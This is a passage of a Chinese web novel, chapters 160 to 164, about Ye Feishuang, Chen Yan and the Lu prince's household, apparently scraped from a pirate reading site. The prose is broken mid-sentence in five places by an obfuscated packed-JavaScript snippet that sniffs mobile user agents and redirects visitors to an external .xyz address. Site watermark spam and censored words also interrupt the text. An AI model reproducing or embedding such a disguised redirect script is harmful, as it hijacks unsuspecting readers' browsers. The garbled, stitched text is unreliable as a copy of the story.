第160章 互相诋毁 陈宴继续说:“两个月前,我帮家中处理渑州官员外调之事时,偶然得知,杜景才是特意疏通打点了,才做了荥阳知府的。” “杜知府是特意来的?他会不会是替我二伯来向郑家报仇的?” 陈宴颔首:“可能性很大。” 叶绯霜想了想,杜知府带来的那些属官,都有名有姓有来历,没有哪个能和郑清对上。 所以,要么郑清没来荥阳,要么郑清已经不在了。 叶绯霜觉得后者可能性更大些。 所以杜知府才把“为兄复仇”视为己任,来了荥阳。 “杜知府是姚太傅的门生……” 叶绯霜觉得这个姚太傅有点熟悉,好像在哪里听到过,但是一下子想不起来了。 说完这事,陈宴转了个话题:“你中的**是宁浔身边的内官买通万福居的店小二给你下的,万福居的掌柜并不知情,发现你被劫走后还报了官,我才能及时找到你。” 叶绯霜点头:“宁浔已经**。” 话说完了,叶绯霜送客,陈宴一副不是很想走的样子。 叶绯霜瞬间看出了他在想什么,问:“干嘛?你想今天就睡觉?” “可以吗?” 叶绯霜眼珠子转了转,说:“行啊,我刚好要去璐王府,不如你一起吧,就在璐王府睡,可以吧?” “可以。”陈宴起身,“那走吧。” 出了花厅,一眼就看见了晃荡着腿坐在栏杆上的萧序。 陈宴走过去,压低声音:“宁浔是你杀的,对吧。” 虽然在问,却是肯定的语气。 萧序轻嗤:“找阿姐的时候让你抢了先,算账还能让给你?” 陈宴说:“希望你的事情做得干净,省得给别人惹麻烦。” “你还有脸说?你给我阿姐惹来多少麻烦?”萧序乐了,“你滚得远一点,就是对她最大的好了,知不知道?” 见到叶绯霜出来,萧序立刻笑容灿烂地迎了上去:“阿姐,我们回去吧,我剥果子给你吃。” “我要去一趟璐王府,你回你院子里休息吧。” 萧序抿着嘴巴,小声说:“又去呀?你怎么去得这么勤?” 叶绯霜笑道:“给人当师父是这样的。” “那不要当了。”萧序鼓着嘴巴,“这么久了都教不会,得是什么笨蛋徒弟,不要也罢。” 即便不开心,他也没法拦。 阿姐想做的事情,他从来都只会支持,不会阻拦。 “阿姐,你可以去璐王府,但你要离他远点。”萧序指了指陈晏,“他会害你,你不要理他。” “好的。”叶绯霜点头。 萧序满意了,眼巴巴地目送叶绯霜离开。 陈宴皱着的眉头从刚才就没松开过。 “你真把自己当成他阿姐了?还对他言听计从?” “哄一哄而已,也没有言听计从。” “他用得着你哄?你多大,他多大?”陈宴轻哂,“还说我,他又好到哪里去了?连**都不敢说,鬼鬼祟祟,宵小鼠辈。” 叶绯霜左耳进右耳出,反正陈宴和萧序这俩人对彼此的形容她都不会听的,主观恶意都太强烈了。 路过花径时,听见侧面传来一个细细的声音:“五妹妹?” 叶绯霜转头一看,是挎着篮子的郑茜霞,看样子刚采完花。 看见陈宴,郑茜霞愣了一下,脸一下子红了,急忙低头行礼:“陈三公子。” 陈宴看了一眼郑茜霞,微微颔首:“郑四姑娘。” 郑茜霞小声问叶绯霜:“五妹妹,我……我又酿了五坛葡萄酒,明天拿给你,你方便吗?” “我明早派人来取。”叶绯霜说,“明晚应该就能把银钱给你拿回来。” 郑茜霞忙道:“不……不着急的。” 她不敢再看陈宴,垂着头说:“那,那我就先走了,不打扰了。” 说完,她往上提了提篮子,疾步离开了。 夏天的时候,郑茜霞突然来找叶绯霜,忐忑地说,自己酿了两坛葡萄酒,问可不可以帮她卖一卖,她想换点钱给自己攒嫁妆。 其实郑茜霞完全不必如此,五房富裕,康氏又不是那种恶毒主母,郑茜霞即便不受重视,也不会少了嫁妆的。 但郑茜霞还是太不安了,她不相信别人,她怕自己什么也得不到。其实她那几坛酒能换几个钱呢?根本不够嫁妆的。 但这已经是她能做到的全部了。 叶绯霜从郑茜霞身上看到了一点自己的影 子:为了活得好一点得不断努力。 上一世郑茜霞跟着郑茜媛逐渐学坏了。这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115885|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世没有郑茜媛了希望郑茜霞能走一条对的路。 虽然叶绯霜还是和郑茜霞亲近不起来但依然答应了帮她卖酒。 她尝过郑茜霞的葡萄酒还真挺好喝的她说是和西域来的商人学的法子。 说起自己拿手的酒时郑茜霞脸上小心翼翼的讨好才会褪去挂上一抹沾了点自豪的真心实意的笑容。 叶绯霜到璐王府时宁衡正在和一群人说话。 其中有位身穿布衣的中年男子神情憔悴双目无神脸都有点发绿了。 瞧见叶绯霜宁衡兴奋道:“师父快看这是什么!” 他手里提着个笼子笼子里的横杆上站了个东西。那东西身子没动头直接拧了半个圈转向后边。 叶绯霜:“……” 她一直觉得猫头鹰有点可怕就是因为它的头。 这玩意眼睛很大还不会动想看别处就得转头它的脸每次转到后背时叶绯霜都觉得很惊悚。 那个脸有点发绿的中年男子是一位鹰把式。他本以为来璐王府为贵人们熬鹰是得到丰厚赏钱的大好时机。 他兴冲冲地来了看见自己的目标是一只猫头鹰时顿时想死。 叶绯霜拯救了这位鹰把式把她之前给宁衡打的那只鹰拿给了他让对方不必再受猫头鹰的折磨。 宁衡犹不甘心:“师父这个真的不能熬吗?” “那位鹰把式眼都快熬瞎了你看它有一点疲惫的迹象吗?”叶绯霜拍了拍笼子里边的猫头鹰精神抖擞地跳了跳。 一位嬷嬷也跑过来埋怨道:“我的祖宗您能不能把这东西关好?它昨晚又飞到园子里把我的鸡都吓**!我养得那么好的肉鸡**一片!” 宁衡大手一挥财大气粗:“它吓死的我三倍来赔!” 他从一边的碟子里拿出撕好的鸡肉条喂给猫头鹰小声说:“他们都嫌弃你我不嫌弃你我好好养你。” 猫头鹰呆滞地看着他。 宁衡一边逗新宠一边掏出一个盒子递给叶绯霜:“师父你闻闻这是桑彤姑娘新制的香送了我一盒。” 叶绯霜:“啊!” 她想起来了! 怪不得她觉得姚太傅耳熟姚太傅就是桑彤的祖父! 那算算时间杜知府拜在姚太傅门下的时候桑彤家还没被抄。 她小时候应该见过杜知府 太好了明天就去问一问。 第161章 震惊的梦 陈宴要借宿璐王府,宁衡让人带他去客房。 叶绯霜去了另外一间客房。 晚上,陈宴来了。 叶绯霜开门让他进来。 幸好他身后还跟着青岳,否则真是好不光彩的行径。 “你去床上睡。”叶绯霜说,“我不睡。” 她已经想好今晚要做什么了——写故事。 “你不困?”陈宴问。 “不困。” 只要想到她是和陈宴在一个房间里,她就什么困意都没有了。 青岳挠了挠头,不太明白这是啥阵仗。 公子和郑五姑娘不是已经退婚了吗?为何还要在一个房间里独处?还是晚上? 还不是要谈心聊天,而是一个睡觉一个不睡觉。 青岳想遍了自己看过的话本子,发现没有看到过这种怪异的情形。 等等,他又为何要在这里? 他起到一个什么作用? 青岳看看陈宴,他已经合衣上了床。 又看看叶绯霜,她已经研磨提笔了。 青岳想不通就不想了,摸出自己的话本子看了起来。 房间里很安静,桌边和榻边都点着灯,光线被偌大的屏风隔开,不会影响到内室。 一般心里装着事的时候,陈宴是很难睡着的。 他本来还担心自己越想做梦,就越睡不着。 可是困意来得很快。 他暗自许了三个愿: 不要再多一个妾。 不要再玩什么见鬼的情趣。 希望梦里的他和现实中的他像一点。 梦里。 陈宴走在一条草木葳蕤的小径上。 “陈三公子。”他听到了姑娘家娇俏动人的呼唤。 垂木枝叶被人拨开,几位被丫鬟簇拥着、裙带飘飘的年起姑娘走了过来。 他颔首,和来人一一回礼:“郑四姑娘,郑六姑娘,傅姑娘。” 傅湘语问:“陈三公子,你可有郑五姑娘的消息了?” 陈宴说:“不曾。” 傅湘语叹气,担忧道:“也不知道她现在在哪里,过得好不好。” 见郑茜媛翻了个白眼,郑茜霞立刻道:“管她做什么?做出那样的丑事,还有 脸活着?要换做我早找棵歪脖树吊**。” 陈宴看向郑茜霞眸光森然冷锐看得郑茜霞的心突突一跳。 她讪笑语气一下子就弱了:“陈三公子怎么了?” 陈宴轻轻摇了摇头。 郑茜霞莫名有些害怕轻声说:“我们快走吧三伯母还等着呢。” 陈宴说:“傅姑娘留步。” 傅湘语欢喜地走到他面前莹润的眼睛望着他柔声问:“三公子怎么了?” “之前见到过郑四姑娘一次。”他缓声说“她似乎对猫刑很感兴趣。” 傅湘语脸色骤变。 陈宴继续道:“她既然这么好奇不妨亲自试试。” “你……”傅湘语微顿“郑四姑娘她哪里冒犯你了吗?” 陈宴不说话只是看着她。 傅湘语在他的目光中败下阵来轻声说:“好我知道了。” 陈宴总算笑了转身离开。 几日后傅湘语来找他带他去了一个地方。 那是一个荒僻的院子杂草丛生他一眼就看见了草中的一个麻袋。 麻袋的口子已经松开里边的野猫早就跑完了只有一具被抓挠得没有人样的女尸。 他也不嫌瘆得慌蹲下身细细看那面目全非的脸直到确定了她是郑茜霞。 他笑着看向傅湘语赞道:“做得不错。” “是郑六姑娘做的。”傅湘语吞了下口水“郑四姑娘到底怎么得罪了你?你非得让她死还这么惨的死掉。” “因为她该死啊。” 他并不打算多给傅湘语做解释。 离开时傅湘语叫住了他:“陈宴!你到底什么时候娶我?” “娶你?”陈宴扬起眉梢 他伸手掐住傅湘语的下巴迫使她抬起脸来。 他垂眸审视着她带笑的眸光很温柔声调也是沉缓好听的:“你也配?” 傅湘语脸上的红晕霎时间退得干干净净。 她声音颤抖:“可是你……你……” “我可从未说过会娶你不都是你一厢情愿?” “我帮你做了那么多……” “是帮我 还是满足你的私欲你心里清楚。”陈宴笑着拍了拍她的脸“别说只是因为爱慕我怪恶心的。” 他出了郑府上了马车。 梦中便是如此上车时是夏季马车行驶了一会儿下车时就是冬季了。 马车在一个小院外停下漫天飞雪。 锦风推开正房的门陈宴迈步进去扑面而来的就是污浊腥臭的浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115886|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浊气味。 锦风立刻递来一条锦帕陈宴捂住口鼻。 房间内光线昏暗隐约可见简陋的陈设靠墙的木板床上躺着一个人一动不动不知死活。 锦风过去踹了一脚床板闷声闷气的:“别装**起来了。” 床上的人没动依旧背对着他们面朝墙躺着只用沙哑的嗓音说:“你们给我一个痛快吧。” 陈宴问:“信物在哪里。” 那人咳了起来胸腔像是个漏风的破风箱:“我说了没有什么信物。” “指望着有人来救你?还是指望着再翻身?”陈宴淡漠道“别痴心妄想了成王败寇 “没想过那些我只是不想活了。陈宴你念在……”他顿了一瞬才继续说“给我个痛快吧让我早日下去和父王母妃团聚。” “你父亲已经被削爵活着的时候就不是璐王了。即便没有这事你还以为你是璐王世子?你不过就是个……” “锦风。”陈宴制止了锦风的诋毁。 他走到床边床上的人终于翻了个身。 他病体支离只是转动了一下上半身下半身一动不动。 冬季日光惨淡打在那张枯瘦憔悴的脸上更显出一种死气沉沉的衰败。 他的头发枯黄肮脏隐约还见有虫子在爬动。双眼浑浊嘴唇干涩吸进去的每一口气都仿佛用尽了全身的力气。 不似半分当初那个意气风发的璐王世子。 “陈宴我求你。”宁衡说“念在曾经荥阳的那些日子看在璐王府不曾亏待过你的份儿上你给我一个痛快吧。” 陈宴盯着他看了良久似乎也在回想。 “好。”陈宴说“我成全你。” 他扔给宁衡一把**。 宁衡颤抖着手把**拿起来毫不犹豫地抹向自己的脖子。 温热的鲜血劈头盖脸地飞溅而来陈宴退了几步。 这一退他仿佛退进了无尽的黑暗里。 他猛然从床上坐了起来。 已然天光大亮。 “你醒了。”叶绯霜绕过屏风走进来笑问“梦到什么了吗?” 陈宴:“……” 他喉中梗塞心跳加快还无法从那离谱又震惊的梦境中回过神来。 他要怎么回答她? 我梦到我把你的姐姐和爱徒都杀了? 若非梦中的人一口一个陈宴的叫他他都要怀疑他梦到的是不是他自己了。 他怎么会是那样的人? 第162章 疑云更重 叶绯霜见陈宴瞳色微晦,一副没有休息好的模样。 “你……” “我什么都没有梦到。”陈宴说,“辗转一夜,没怎么入睡。” 叶绯霜立刻竖掌向前:“欸,这可和我无关啊!这是你自己的问题。我答应你的已经做到了,我们的交易完成了,我不会再补你一次的。” 陈宴捏了下眉心:“……嗯。” 叶绯霜悄悄松了口气。 她就说嘛,应该不会那么邪乎。 就算陈宴真能梦到前世,也不一定非要她在身边啊。她算什么,前世的他又不喜欢她,她还能成为连接他和前世的通道?嗐。 院中传来宁衡和青岳的说话声。 下一刻,房门打开,宁衡和日光一起进了房间。 他穿着身齐紫色京缎圆领袍,上边暗纹浮动。金冠束发,玉带束腰,整个人像一根特大号会发光的紫茄子。 手里还提了装着他那新晋爱宠猫头鹰的金笼子,满身不羁的少年意气。 “师父,陈三,我父王母妃叫你们去用早膳。” 叶绯霜:“好!” 陈宴声音微哑:“我还有事得回书院,我就不用了。” 宁衡眨巴眨巴眼睛:“吃完饭再回去呗,不差这一会儿。” 陈宴摇头:“先走了。” 他披上外袍,疾步出了房间,没看宁衡一眼。 宁衡不明所以,问叶绯霜:“他怎么了?” 叶绯霜倒是很理解:“睡不好的人是没胃口,很正常。走吧,我刚好饿了。” 陈宴走出一段后,回头一看,叶绯霜不知道和宁衡说了什么,宁衡呲着一口大牙笑得前仰后合。 通体气派的亲王世子,和梦中那个肮脏潦倒的人怎么会是同一个? 璐王潜心修道,为何会被削爵? 宁衡单纯天真,为何会被圈禁? 不争不抢、与人为善的璐王府,为何会落得那样的下场? 亲王被削爵,要么就是在皇位之争中落败,要么就是犯了形同谋逆的大罪,璐王府似乎哪一个都不沾。 还有他没让锦风说完的话—— “你父亲已经被削爵,活着的时候就不是璐王了。即便没有这事,你还以为你是璐王世子?你不过 就是个……” 不过就是个什么? 陈宴猜不到。 这个梦做的,非但没有让他捋明白一些事,反而疑云更重。 梦中的他,简直可以用残虐无道来形容了,实在令人惊悚。 心中有太多疑惑,都没仔细听青岳在一边絮絮说话—— 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) “公子,你知道吗?我最近看的话本子竟然是郑五姑娘写的诶!她昨晚写的时候我看到啦!” “她好会想哦!她写了一个修仙世界,那里的人出远门可以坐一个叫大飞鸡的东西,只花钱不耗灵力,从京城到岭南只要不到两个时辰……” “那里的人都住在特别高的楼上,但是他们不用爬梯子,因为他们的梯子自己会动,把人们送上去!” “公子你不知道,那个小书肆本来都快倒闭了,就因为出了这个话本子,现在生意好得不得了!” “她就是写得太慢了,吊人胃口,唉……” 另外一边,叶绯霜和宁衡到了饭厅。 见陈宴没来,璐王妃把宁衡骂了一通,说他竟然让客人空着肚子走了,真是失礼。 骂完儿子,她又看向璐王。 璐王立刻说:“骂了儿子就不能骂我了哦。” 璐王妃:“还不是因为像你才成了这么个笨蛋!” 璐王立刻说:“是啊,怪我。要是多像你一点,我都不敢想象衡儿得多聪明!” 从璐王府离开后,叶绯霜先去找了桑彤。 “杜景才?”桑彤仔细想了想,摇头,“不认识。” 叶绯霜想到景才是杜知府的字,算算年纪,他在姚太傅门下时应该还未及冠。 那他的大名是…… “杜临。临时、临近的临。” “杜临哥?”桑彤微怔,讶异道,“咱们现在的知府就是他吗?” “对。” “那我认识了,他的确是我祖父的门生,还在我们家住过一段时间呢。我那时和他还挺熟的,我的三字经就是他教我背的。” 说起往事,桑彤露出一抹怀念的浅笑来:“但我那时候太小了,又已经过去这么多年,我都忘记他长什么样子了,只记得他的名字。” 桑彤六岁时就被抄了家,迄今为止已经十五年了。 “那你知不知道他有一个……兄长? “有。桑彤很肯定地点头,“杜临哥叫他六哥,他经常去我们家找杜临哥,和我祖父也很熟悉。但他的样子和名字我都忘了。 叶绯霜又问:“你想见杜知府吗?我可以让世子帮你引荐。 桑彤紧张地捏紧了手指:“可以吗? 说更新,记住域名caixs.com?( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115887|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请来才小 说 看最新章节 完整章节) 她活着最大的心愿,一是保护好弟弟,二是为祖父翻案。 第一个她在努力做到,第二个实非她力所能及。 若是杜知府也有为祖父翻案的心,那希望大了许多。 这些年间,桑彤经常想起家人。可弟弟又是个孩童心智,不能和她正常聊天。 要是能有个人和她聊聊祖父、聊聊曾经的姚府,那就太好了。 从桑彤的小院出来后,已是中午。 日光被层层乌云遮住,看来快下雨了。 路上遇见了腿脚不方便的卖糖葫芦的老大爷,草垛上满满插着红彤彤的糖葫芦。 老大爷满面愁容地望了望天,怕如果下雨,自己这糖葫芦更卖不出去。 叶绯霜给老大爷包圆了,还多给了点钱,把草垛子一块儿买了。 大爷转忧为喜,连连道谢。 叶绯霜扛着糖葫芦回郑府,准备给玉琅阁的丫头小子们当零嘴。 进了大门,她拔了串糖葫芦,边走边吃。 过了垂花门,走出没多远,冷不丁一个东西飞出来掉在她面前。 她仔细一看,是个竹蜻蜓。 接着,哒哒的脚步声叫来,林间钻出一个娇小的身影。 对方瞧见叶绯霜,吓了一大跳,怯怯地愣在原地。 叶绯霜认得她,就是那个和她同岁的,她五叔的十六姨娘。 她比过年的时候长大了一点,但明显还是个小姑娘。没有梳髻,编了两根麻花辫,头发上还沾了片叶子。 她小声说:“我的蜻蜓。 叶绯霜捡起来,递给她。 她立刻双手接过,细声细气地说:“谢谢五姑娘。 仔细一看,她的手上、衣服上还有土,不知道从哪里蹭的。 “你在这里玩吗?叶绯霜问。 小姑娘忙道:“我……我和夫人说过了,夫人准许的,我就玩一小会儿。 大户人家的妾是不能轻易出院子的,否则会被视为不懂规矩。 叶绯霜说:“我随口一问,你别害怕。 小姑娘垂下头,对她行了个礼,准备退下了。 临走前偷偷看了两眼她扛着的糖葫芦,吞咽了一下。 叶绯霜立刻拔下一串递给她。 她欢喜地接过,很高兴地说:“谢谢五姑娘。 望着她离去的背影,叶绯霜叹了口气。 这还只是个爱玩竹蜻蜓,想吃糖葫芦的小姑娘啊。 她五叔那个畜生。 第163章 和我合作 玉琅阁的下人们有零嘴吃很开心。 最欢喜的莫过小桃了,她超爱吃这位老大爷的糖葫芦。 老大爷的糖葫芦卖得不太好是因为有点酸,小桃恰好就爱吃酸的。 给玉琅阁的人分完还剩了好几串,都归她了。 吃完午饭,五房的丫鬟送东西来了。 那丫鬟满脸喜色,靳氏把她叫进来,问:“五房有了什么喜事?” “回四夫人,正是天大的喜事呢!大夫说,我们十七姨娘怀的是双生胎,还都是男胎!” “哦?”靳氏惊喜笑道,“那真是大喜事,恭喜五老爷了。” 靳氏给丫鬟拿了回礼,又给了赏钱,丫鬟喜气洋洋地走了。 叶绯霜想,如果真是俩儿子,她五叔不得高兴到天上去? 起码这俩孩子不像郑文宝,是切切实实他的孩子。 傍晚,铜宝着人送来今日铺子里的账目,还有几两银子,是卖葡萄酒得的。 “卖完了?还挺快。” 葡萄酒难制,算是稀罕物,所以价格不低。但实在太少了,郑茜霞忙活了好几个月,也只酿出这么小小的五坛来,下次再酿出来还不知道是什么时候。 叶绯霜把玩着那几两银子,萌生出一个主意,去五房照找茜霞。 郑茜霞的眼睛红红的,显然刚刚哭过一场。 也是,代入一下她的心情,家里即将添两个弟弟,她以后只会更加不够重视。 叶绯霜把银子递给她:“酒钱。” 郑茜霞吸了吸鼻子,瓮声瓮气地说:“这么多呀。” “能卖得贵肯定尽量往贵里卖的,不然对不起你付出的辛苦。” 郑茜霞小声道:“谢谢五妹妹。” 她把银子珍惜地收到贴身的锦囊里。 那个锦囊很旧了,上边的彩线都褪色了。 叶绯霜直接说明来意:“你来给我酿酒,好不好?” 郑茜霞抬头,瞪大眼:“嗯?你有酒庄吗?” “没有,可以盘一个。你自己一个人忙活太慢了,葡萄酒又不好酿。我们合作,我给你提供人和原料,你教我的人酿酒。我付你工钱,并且给你分红,银股和身股我都给你。” 郑茜霞眼睛一亮,但那抹光亮在她仔细 思索后,又黯淡了下去。 她小声说:“还是……还是算了吧。” 叶绯霜看出了她的担忧:“你担心我学会你的酿酒之法后就把你踢出去?” 郑茜霞被拆穿,脸一下子红了,忙道:“没、没有的,五妹妹你不要多想。” “四房的产业不少,布店、粮庄、香料坊……我没必要贪你那点技术。姑娘家生活不易,咱们都能多赚点钱挺好的。你跟我合作,说不定几个月就攒够你的嫁妆本了。” 郑茜霞明显心动了,但她还是不敢。 除了酿葡萄酒,她别的什么都不会。 要是连这个也失去了,她就真的一无所有了。 叶绯霜吓唬她:“如果你还是偷偷一个人忙活,要是哪天被五叔知道了,他会不会抓你去当劳力?那时候你赚的钱一分都不归你。” 郑茜霞设想了一下那个场景,脸都白了。 叶绯霜放软声调:“我们可以提前签字契,里边写清楚我给你的工钱和分红,并且保证以后赚了大钱也不会把你踢出去。如果我违约,你大可去官府告我。” “真的吗?”郑茜霞直起身子。 “真的。”叶绯霜自夸,“我绝对讲良心,不是奸商。” 郑茜霞被她逗笑了。 片刻后,她点头:“好,我跟你合作。” 叶绯霜说干就干,很快就写好了字契,和郑茜霞按了手印,让她安心。 她盘了个小酒坊,里边酿酒的工具都很齐全,又采购了一批葡萄。 郑茜霞也很尽心,十分认真地教工人们进行每一道工序。 叶绯霜旁观,发现比她以为的还要麻烦。 同时也很佩服郑茜霞,她能偷偷酿出几坛来,真的特别不容易。 回家后,一进正房,叶绯霜就听见了五婶康氏的声音:“最好再生一个,以后霜儿也有个商量的人。” 靳氏道:“我有霜儿就够了。” “这话说的,你不生,不还得过继吗?自己生的肯定比过继来的亲啊。” 叶绯霜走进去,给长辈见完礼,坐在了一边的圆凳上。 她笑问:“五婶和娘亲说什么呢?” 康氏倒也没瞒她:“这不是白溪寺的姑子们快到了吗?我正和你娘说呢 到时候让你娘也请她们来家里做做法让观音娘娘给你送个弟弟妹妹以后也好帮扶帮扶你。” 叶绯霜:哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115888|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 可算要到了! “好啊。”她说“请吧我也想见见这么灵验的一群姑子到底是啥样的。” 看她到时候怎么拆穿这群假尼姑! 就是不知道白溪寺的事情败露后她五叔得气成什么样。 他五叔那么好面子的人啧。 转眼到了九月初八这是个黄道吉日宜嫁娶。 高同知家的二姑娘高菡要出嫁了。 这门婚事还是叶绯霜和璐王妃促成的所以她当然收到了请柬。 叶绯霜提着礼物开开心心地去看新娘子。 庄重的嫁衣、精致的凤冠衬得高菡特别贵气漂亮。 “我年后也要走了。”耳边传来高萱的声音。 选秀的人早就来过了高萱容貌出挑官家出身理所当然地入选了。 “恭喜。”叶绯霜说“愿高三姑娘青云直上得偿所愿。” 高萱又问:“还有没有什么靠谱消息?给我透露点儿比如可以讨好谁。” “我不知道了。”叶绯霜摇头。 其实前世陈宴给她讲过不少关于几个皇子的事但她不敢多说。 高萱也不勉强:“那好吧本姑娘只能靠自己的聪明才智了。” 高菡出了门送嫁队伍逐渐远去。 叶绯霜回席间吃饭吃完饭后 说着说着就说到了白溪寺的姑子们许多贵妇都表示要请她们到家里做法。 怪不得人家愿意千里迢迢地来呢这一趟得赚多少银子。 这不是叶绯霜能插嘴的话题她默不作声地饮茶。 忽然一位和璐王妃关系不错的贵妇说:“我记得世子就是王妃从白溪寺求来的是不是?” 璐王妃笑吟吟的:“是呀!” 叶绯霜:“咳……” 她差点被这一口茶呛死。 璐王妃连忙给她拍背:“怎么了这是?” 叶绯霜不可置信地看着璐王妃:“宁……世子是从白溪寺求来的?” “对呀。”璐王妃说“那时候我和我家王爷路过廉州听当地人说很灵就去求了求还真把衡儿求来了。这次姑子们来我还准备再请请她们就当还愿了” 贵妇们纷纷应和:“那真的很灵呢。” “太好了。” “我这颗心更安了。” 叶绯霜:“…………” 怎、会、如、此。 第164章 保护好你 叶绯霜的头有些痛。 宁衡怎么能是白溪寺求来的呢,老天爷。 这其中有没有什么误会? 叶绯霜仔细一想,更绝望了,因为她发现宁衡和璐王长得根本不像。 宁衡高大威猛,璐王矮小肥圆。 宁衡剑眉星目,璐王不过中人之姿。 白溪寺的事情败露后,宁衡会面对怎么样的**? 他是亲王世子,皇家血脉,他的血统可太重要了。 一个不慎,被削爵都是有可能的。 还有璐王府,多好的一个家。一旦爆出宁衡……这份安宁和乐就不复存在了。 高家的喜宴散了,门口停了不少马车。 有贵妇瞧见璐王,笑道:“哎呀,王爷又来接王妃啦!” 大家对这样的场景已经见怪不怪了。 璐王妃每次赴宴,璐王必会亲自来接。不像许多府邸,都是派下人来的。 璐王妃朝叶绯霜摆了摆团扇,握住璐王伸出的手,上了马车。 马车粼粼远去,不少人眼中都流露出艳羡之情。 这里离酒坊不远,叶绯霜得接了郑茜霞一块儿回去。 她满腹心事地往酒坊走,不料撞到了一个人身上。 一看是宁衡,她心情更复杂了:“你怎么在这里?” 宁衡嘿嘿一乐:“我刚从醉红尘听完曲儿回来。我叫你半天你都不理我,师父,你想什么呢?” 见叶绯霜脸色不太好,宁衡的笑容立刻消失了:“怎么了师父,有人欺负你了?告诉我是谁,我收拾他去!” “没有。”叶绯霜勉强挤出一抹笑来,“你……嗯……” 宁衡负手站在她面前,真的很高大魁梧,叶绯霜现在还没到他肩膀。 还记得前世的宁衡,在庇阳山摔断了腿,再也站不起来了。 这已经很惨了,白溪寺的事情败露后,他又是如何面对的? 世子之位还在吗?璐王府还好好的吗?有人用心照顾残疾的他吗? 陈宴没和她提过,所以她也不得而知。 见叶绯霜眼眶有点红,要哭似的,宁衡吓了一大跳:“真没人欺负你?师父你别怕,你只管告诉我,天王老子我也照样收拾他!” “没有 !”叶绯霜笑了抬起胳膊用力拍了拍宁衡的胸口“师父会保护你的。” 宁衡:“嗯?” “不光你保护师父师父也要保护你。”叶绯霜郑重地说“这声师父绝不让你白叫师父一定会保护好你的。” 见她笑宁衡也笑扭来扭去地说:“师父是天底下最好的师父!” 告别宁衡后叶绯霜用力搓了把脸 这是大事她回去得好好合计合计。 她已经调整好了状态郑茜霞没看出她的心事和她说酿酒的进度。 葡萄酒已经装入了陶罐中进行陈化。 这一过程最少也需要几个月。如果想要风味更好就延长陈化时间一两年、三五年的都有。 所以接下来郑茜霞不用天天都来酒坊了。 郑茜霞绞着手指有些紧张地说:“五妹妹我还是想常常来行吗?” “担心你的酒?” “不是不是酒坊的人都很靠谱。我就是……我就是想出来走走不想闷在府里。” 叶绯霜说:“好呀。” 多见识一些人和事有了自己的见解和看法郑茜霞可能就不会那么容易被旁人影响心性了。 两人回了府察觉出府中情形似有不对。 叶绯霜拦住一名丫鬟问:“府里怎么了?” 那丫鬟笑道:“回二位姑娘是喜事呢五房的十七姨娘要生啦!” 郑府上下谁不知道五房的十七姨娘怀了双生子?等生完五老爷一高兴又是大把的赏赐谁能不高兴呢? 郑茜霞脸上的血色逐渐褪去攥住袖口的手指轻微颤抖。 她这些时日已经努力在说服自己看开了可还是会担心自己以后的处境。 迎面跑来另外一名丫鬟这丫鬟的神色不是很好。 问了才知道十七姨娘难产了五老爷担心孩子让再请大夫过来。 听说卢氏和靳氏现在也在五房叶绯霜也和郑茜霞一块儿过去了。 刚进院就听见一声凄厉又痛苦的女子尖叫仿佛长长的指甲从皮肤上的裂口扣进了皮肉里痛苦至极。 郑茜霞一个激灵没忍住握住了叶绯霜的胳膊。 叶绯霜也被这一声 惨叫弄得有些心惊,这得多疼。 卢氏和靳氏都生产过,如今也顾不上什么正房太太和妾室的身份差距了,都去了产房,安抚十七姨娘,和她说经验,希望她能尽快生产,母子平安。 小说< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 